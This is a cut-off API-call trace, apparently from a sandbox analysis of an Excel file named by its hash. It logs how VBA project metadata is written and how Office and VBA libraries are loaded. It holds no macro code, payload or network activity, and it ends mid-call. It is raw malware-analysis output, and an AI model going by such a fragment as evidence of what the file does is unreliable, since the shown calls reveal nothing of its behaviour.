lstrlenA (lpString="ID=\"{60BF4DAE-E3E2-455A-9F10-1EE0B183F45B}\"\r\n") returned 45 [0160.510] wsprintfA (in: param_1=0x200ba0, param_2="%s=" | out: param_1="Document=") returned 9 [0160.510] lstrlenA (lpString="Document=") returned 9 [0160.510] wsprintfA (in: param_1=0x200bb5, param_2="/&H%08lX\r\n" | out: param_1="/&H00000000\r\n") returned 13 [0160.510] lstrlenA (lpString="Document=ThisWorkbook/&H00000000\r\n") returned 34 [0160.510] wsprintfA (in: param_1=0x200ba0, param_2="%s=" | out: param_1="Document=") returned 9 [0160.510] lstrlenA (lpString="Document=") returned 9 [0160.510] wsprintfA (in: param_1=0x200baf, param_2="/&H%08lX\r\n" | out: param_1="/&H00000000\r\n") returned 13 [0160.510] lstrlenA (lpString="Document=Sheet1/&H00000000\r\n") returned 28 [0160.510] wsprintfA (in: param_1=0x200e80, param_2="%s=\"" | out: param_1="Name=\"") returned 6 [0160.510] lstrlenA (lpString="Name=\"") returned 6 [0160.510] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0160.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb732448, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0160.510] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0160.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb732448, cbMultiByte=11, lpWideCharStr=0xb735d78, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0160.510] lstrcatA (in: lpString1="VBAProject", lpString2="\"\r\n" | out: lpString1="VBAProject\"\r\n") returned="VBAProject\"\r\n" [0160.510] lstrlenA (lpString="Name=\"VBAProject\"\r\n") returned 19 [0160.511] wsprintfA (in: param_1=0x200e80, param_2="%s=\"%d\"\r\n" | out: param_1="HelpContextID=\"0\"\r\n") returned 19 [0160.511] lstrlenA (lpString="HelpContextID=\"0\"\r\n") returned 19 [0160.511] wsprintfA (in: param_1=0x200e80, param_2="%s=\"%u\"\r\n" | out: param_1="VersionCompatible32=\"393222000\"\r\n") returned 33 [0160.511] lstrlenA (lpString="VersionCompatible32=\"393222000\"\r\n") returned 33 [0160.511] wsprintfA (in: param_1=0x2005c0, param_2="%s=\"" | out: param_1="CMG=\"") returned 5 [0160.511] GetTickCount () returned 0x336c8 [0160.511] lstrlenA (lpString="{60BF4DAE-E3E2-455A-9F10-1EE0B183F45B}") returned 38 [0160.511] lstrcatA (in: lpString1="CMG=\"", lpString2="484A484E4C4E4C4E4C4E4C" | out: lpString1="CMG=\"484A484E4C4E4C4E4C4E4C") returned="CMG=\"484A484E4C4E4C4E4C4E4C" [0160.511] lstrcatA (in: lpString1="CMG=\"484A484E4C4E4C4E4C4E4C", lpString2="\"\r\n" | out: lpString1="CMG=\"484A484E4C4E4C4E4C4E4C\"\r\n") returned="CMG=\"484A484E4C4E4C4E4C4E4C\"\r\n" [0160.511] lstrlenA (lpString="CMG=\"484A484E4C4E4C4E4C4E4C\"\r\n") returned 30 [0160.511] wsprintfA (in: param_1=0x2005c0, param_2="%s=\"" | out: param_1="DPB=\"") returned 5 [0160.511] lstrlenA (lpString="") returned 0 [0160.511] GetTickCount () returned 0x336c8 [0160.511] lstrlenA (lpString="{60BF4DAE-E3E2-455A-9F10-1EE0B183F45B}") returned 38 [0160.511] lstrcatA (in: lpString1="DPB=\"", lpString2="9092909391939193" | out: lpString1="DPB=\"9092909391939193") returned="DPB=\"9092909391939193" [0160.511] lstrcatA (in: lpString1="DPB=\"9092909391939193", lpString2="\"\r\n" | out: lpString1="DPB=\"9092909391939193\"\r\n") returned="DPB=\"9092909391939193\"\r\n" [0160.511] lstrlenA (lpString="DPB=\"9092909391939193\"\r\n") returned 24 [0160.511] wsprintfA (in: param_1=0x2005c0, param_2="%s=\"" | out: param_1="GC=\"") returned 4 [0160.511] GetTickCount () returned 0x336d8 [0160.511] lstrlenA (lpString="{60BF4DAE-E3E2-455A-9F10-1EE0B183F45B}") returned 38 [0160.511] lstrcatA (in: lpString1="GC=\"", lpString2="E8EAE8EBE9EBE914" | out: lpString1="GC=\"E8EAE8EBE9EBE914") returned="GC=\"E8EAE8EBE9EBE914" [0160.511] lstrcatA (in: lpString1="GC=\"E8EAE8EBE9EBE914", lpString2="\"\r\n" | out: lpString1="GC=\"E8EAE8EBE9EBE914\"\r\n") returned="GC=\"E8EAE8EBE9EBE914\"\r\n" [0160.511] lstrlenA (lpString="GC=\"E8EAE8EBE9EBE914\"\r\n") returned 23 [0160.511] wsprintfA (in: param_1=0x200cb0, param_2="\r\n[%s]\r\n" | out: param_1="\r\n[Host Extender Info]\r\n") returned 24 [0160.511] lstrlenA (lpString="\r\n[Host Extender Info]\r\n") returned 24 [0160.511] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0160.511] wsprintfA (in: param_1=0x5ceb170, param_2="%s=%s\r\n" | out: param_1="&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000\r\n") returned 66 [0160.511] lstrlenA (lpString="&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000\r\n") returned 66 [0160.511] wsprintfA (in: param_1=0x200cb0, param_2="\r\n[%s]\r\n" | out: param_1="\r\n[Workspace]\r\n") returned 15 [0160.512] lstrlenA (lpString="\r\n[Workspace]\r\n") returned 15 [0160.512] lstrlenA (lpString="23, 23, 1284, 677, Z") returned 20 [0160.512] wsprintfA (in: param_1=0x5ceb170, param_2="%s=%s\r\n" | out: param_1="ThisWorkbook=23, 23, 1284, 677, Z\r\n") returned 35 [0160.512] lstrlenA (lpString="ThisWorkbook=23, 23, 1284, 677, Z\r\n") returned 35 [0160.512] lstrlenA (lpString="0, 0, 0, 0, C") returned 13 [0160.512] wsprintfA (in: param_1=0x5ceb170, param_2="%s=%s\r\n" | out: param_1="Sheet1=0, 0, 0, 0, C\r\n") returned 22 [0160.512] lstrlenA (lpString="Sheet1=0, 0, 0, 0, C\r\n") returned 22 [0160.512] CExposedStream::Commit () returned 0x0 [0160.513] CExposedStream::Release () returned 0x0 [0160.513] CExposedDocFile::Release () returned 0x1 [0160.563] CExposedDocFile::OpenStorage () returned 0x0 [0160.563] CExposedDocFile::AddRef () returned 0x2 [0160.563] CExposedDocFile::AddRef () returned 0x2 [0160.628] _wfullpath (in: _Buffer=0x20b100, _Path="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _BufferCount=0x104 | out: _Buffer="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls" [0160.628] _ultow_s (in: _Value=0x5c6a753b, _Buffer=0x20acaa, _BufferCount=0x103, _Radix=16 | out: _Buffer="5c6a753b") returned 0x0 [0160.628] wcsncpy_s (in: _Destination=0x20a830, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x0 [0160.628] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", cchLength=0x61 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x61 [0160.628] IMalloc:Alloc (This=0x7fefe465380, cb=0xc4) returned 0x595c8e0 [0160.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", cchWideChar=98, lpMultiByteStr=0x595c8e0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", lpUsedDefaultChar=0x0) returned 98 [0160.628] IMalloc:Free (This=0x7fefe465380, pv=0x595c8e0) [0160.629] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned -4 [0160.629] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0 [0160.629] wcsncpy_s (in: _Destination=0x20a8e0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x0 [0160.629] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", cchLength=0x61 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0x61 [0160.629] IMalloc:Alloc (This=0x7fefe465380, cb=0xc4) returned 0x595c8e0 [0160.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", cchWideChar=98, lpMultiByteStr=0x595c8e0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", lpUsedDefaultChar=0x0) returned 98 [0160.629] IMalloc:Free (This=0x7fefe465380, pv=0x595c8e0) [0160.629] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned -4 [0160.629] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0 [0160.629] wcsncpy_s (in: _Destination=0x20a880, _SizeInWords=0x108, _Source="*\\Z045c6a753b", _MaxCount=0x106 | out: _Destination="*\\Z045c6a753b") returned 0x0 [0160.629] CharLowerBuffW (in: lpsz="*\\Z045c6a753b", cchLength=0xd | out: lpsz="*\\z045c6a753b") returned 0xd [0160.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z045c6a753b", cchWideChar=14, lpMultiByteStr=0x20a7b0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z045c6a753b", lpUsedDefaultChar=0x0) returned 14 [0160.629] wcscpy_s (in: _Destination=0x66212b0, _SizeInWords=0xe, _Source="*\\Z045c6a753b" | out: _Destination="*\\Z045c6a753b") returned 0x0 [0160.629] wcsncpy_s (in: _Destination=0x20a8c0, _SizeInWords=0x108, _Source="*\\Z045c6a753b", _MaxCount=0x106 | out: _Destination="*\\Z045c6a753b") returned 0x0 [0160.629] CharLowerBuffW (in: lpsz="*\\Z045c6a753b", cchLength=0xd | out: lpsz="*\\z045c6a753b") returned 0xd [0160.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z045c6a753b", cchWideChar=14, lpMultiByteStr=0x20a7f0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z045c6a753b", lpUsedDefaultChar=0x0) returned 14 [0160.629] wcsncpy_s (in: _Destination=0x20a990, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0160.629] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0160.629] IMalloc:Alloc (This=0x7fefe465380, cb=0x122) returned 0xb9b5910 [0160.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0xb9b5910, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0160.629] IMalloc:Free (This=0x7fefe465380, pv=0xb9b5910) [0160.629] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\Z045c6a753b") returned -19 [0160.629] wcsncpy_s (in: _Destination=0x20a990, _SizeInWords=0x108, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0 [0160.629] CharLowerBuffW (in: lpsz="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library") returned 0x8d [0160.629] IMalloc:Alloc (This=0x7fefe465380, cb=0x11c) returned 0xb9b5910 [0160.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", cchWideChar=142, lpMultiByteStr=0xb9b5910, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0160.629] IMalloc:Free (This=0x7fefe465380, pv=0xb9b5910) [0160.629] wcsncpy_s (in: _Destination=0x20a990, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0160.629] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation") returned 0x5e [0160.629] IMalloc:Alloc (This=0x7fefe465380, cb=0xbe) returned 0x595c8e0 [0160.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x595c8e0, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0160.629] IMalloc:Free (This=0x7fefe465380, pv=0x595c8e0) [0160.630] wcsncpy_s (in: _Destination=0x20a990, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0160.630] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchLength=0x94 | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library") returned 0x94 [0160.630] IMalloc:Alloc (This=0x7fefe465380, cb=0x12a) returned 0xba81fc0 [0160.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", cchWideChar=149, lpMultiByteStr=0xba81fc0, cbMultiByte=298, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", lpUsedDefaultChar=0x0) returned 149 [0160.630] IMalloc:Free (This=0x7fefe465380, pv=0xba81fc0) [0160.630] wcscpy_s (in: _Destination=0x6378210, _SizeInWords=0x108, _Source="*\\Z045c6a753b" | out: _Destination="*\\Z045c6a753b") returned 0x0 [0160.630] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0160.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb732448, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0160.630] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0160.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb732448, cbMultiByte=11, lpWideCharStr=0xb735d78, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0160.630] lstrcatA (in: lpString1="VBAProject", lpString2=" (" | out: lpString1="VBAProject (") returned="VBAProject (" [0160.630] strncat_s (in: _Destination="VBAProject (", _SizeInBytes=0x187, _Source="23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _MaxCount=0x28 | out: _Destination="VBAProject (23bd91a75b2e80556c099d5a4f57760a1e4d77e8") returned 0x0 [0160.630] lstrcatA (in: lpString1="VBAProject (23bd91a75b2e80556c099d5a4f57760a1e4d77e8", lpString2="...)" | out: lpString1="VBAProject (23bd91a75b2e80556c099d5a4f57760a1e4d77e8...)") returned="VBAProject (23bd91a75b2e80556c099d5a4f57760a1e4d77e8...)" [0160.631] IMalloc:Free (This=0x7fefe465380, pv=0xb97ff30) [0160.631] IUnknown:Release (This=0x679bb80) returned 0x13 [0160.631] IUnknown:Release (This=0x5a48620) returned 0x10 [0160.631] IUnknown:Release (This=0x679c120) returned 0x6 [0160.631] IUnknown:Release (This=0x679c6c0) returned 0x4 [0160.631] FreeLibrary (hLibModule=0x7fee5bf0000) returned 1 [0160.631] FreeLibrary (hLibModule=0x7fee5bf0000) returned 1 [0160.631] FreeLibrary (hLibModule=0x7fee5bf0000) returned 1 [0160.631] FreeLibrary (hLibModule=0x7fee5bf0000) returned 1 [0160.631] FreeLibrary (hLibModule=0x7fee5bf0000) returned 1 [0160.631] FreeLibrary (hLibModule=0x7fee5bf0000) returned 1 [0160.631] FreeLibrary (hLibModule=0x7fee5bf0000) returned 1 [0160.631] FreeLibrary (hLibModule=0x7fee5bf0000) returned 1 [0160.631] FreeLibrary (hLibModule=0x7fee5bf0000) returned 1 [0160.631] FreeLibrary (hLibModule=0x7fee5bf0000) returned 1 [0160.631] IUnknown:Release (This=0xb824780) returned 0x4 [0160.631] GetCurrentProcess () returned 0xffffffffffffffff [0160.631] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662afa4, dwSize=0x4c) returned 1 [0160.631] RtlLookupFunctionEntry (in: ControlPc=0x662afa4, ImageBase=0x20a808, HistoryTable=0x20a810 | out: ImageBase=0x20a808, HistoryTable=0x20a810) returned 0x662b000 [0160.631] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.631] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0160.631] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0160.639] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00001148) returned 1 [0160.639] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.640] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x258) returned 0x7fee5cec6fc [0160.640] GetCurrentProcess () returned 0xffffffffffffffff [0160.640] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628bec, dwSize=0x43) returned 1 [0160.640] RtlLookupFunctionEntry (in: ControlPc=0x6628bec, ImageBase=0x20a7a8, HistoryTable=0x20a7b0 | out: ImageBase=0x20a7a8, HistoryTable=0x20a7b0) returned 0x6628c3c [0160.640] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.640] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0160.640] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0160.640] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00001149) returned 1 [0160.640] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.641] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x269) returned 0x7fee5d32490 [0160.641] GetCurrentProcess () returned 0xffffffffffffffff [0160.641] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x648a194, dwSize=0x4b) returned 1 [0160.641] RtlLookupFunctionEntry (in: ControlPc=0x648a194, ImageBase=0x20a7a8, HistoryTable=0x20a7b0 | out: ImageBase=0x20a7a8, HistoryTable=0x20a7b0) returned 0x648a1ec [0160.641] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.641] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0160.641] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0160.641] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df0000114a) returned 1 [0160.641] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.642] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x260) returned 0x7fee5d3142c [0160.642] GetCurrentProcess () returned 0xffffffffffffffff [0160.642] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6489f44, dwSize=0x43) returned 1 [0160.642] RtlLookupFunctionEntry (in: ControlPc=0x6489f44, ImageBase=0x20a7a8, HistoryTable=0x20a7b0 | out: ImageBase=0x20a7a8, HistoryTable=0x20a7b0) returned 0x6489f94 [0160.642] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.642] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0160.642] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0160.642] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df0000114b) returned 1 [0160.642] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.643] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x222) returned 0x7fee5d33da8 [0160.643] GetCurrentProcess () returned 0xffffffffffffffff [0160.643] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x648a04c, dwSize=0x3b) returned 1 [0160.643] RtlLookupFunctionEntry (in: ControlPc=0x648a04c, ImageBase=0x20a7a8, HistoryTable=0x20a7b0 | out: ImageBase=0x20a7a8, HistoryTable=0x20a7b0) returned 0x648a094 [0160.643] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.643] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0160.643] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0160.644] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df0000114c) returned 1 [0160.644] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.644] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x259) returned 0x7fee5f6c3e0 [0160.644] GetCurrentProcess () returned 0xffffffffffffffff [0160.644] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6489cf4, dwSize=0x43) returned 1 [0160.644] RtlLookupFunctionEntry (in: ControlPc=0x6489cf4, ImageBase=0x20a7a8, HistoryTable=0x20a7b0 | out: ImageBase=0x20a7a8, HistoryTable=0x20a7b0) returned 0x6489d44 [0160.644] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.644] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0160.644] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0160.645] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df0000114d) returned 1 [0160.645] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.645] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x220) returned 0x7fee5d31bac [0160.645] GetCurrentProcess () returned 0xffffffffffffffff [0160.645] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6489dec, dwSize=0x43) returned 1 [0160.645] RtlLookupFunctionEntry (in: ControlPc=0x6489dec, ImageBase=0x20a7a8, HistoryTable=0x20a7b0 | out: ImageBase=0x20a7a8, HistoryTable=0x20a7b0) returned 0x6489e3c [0160.645] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.645] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0160.645] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0160.646] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df0000114e) returned 1 [0160.646] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.646] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x223) returned 0x7fee5d31c1c [0160.646] GetCurrentProcess () returned 0xffffffffffffffff [0160.646] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6489854, dwSize=0x43) returned 1 [0160.646] RtlLookupFunctionEntry (in: ControlPc=0x6489854, ImageBase=0x20a7a8, HistoryTable=0x20a7b0 | out: ImageBase=0x20a7a8, HistoryTable=0x20a7b0) returned 0x64898a4 [0160.646] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.646] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0160.647] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0160.647] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df0000114f) returned 1 [0160.647] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.647] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x26b) returned 0x7fee5d32540 [0160.647] GetCurrentProcess () returned 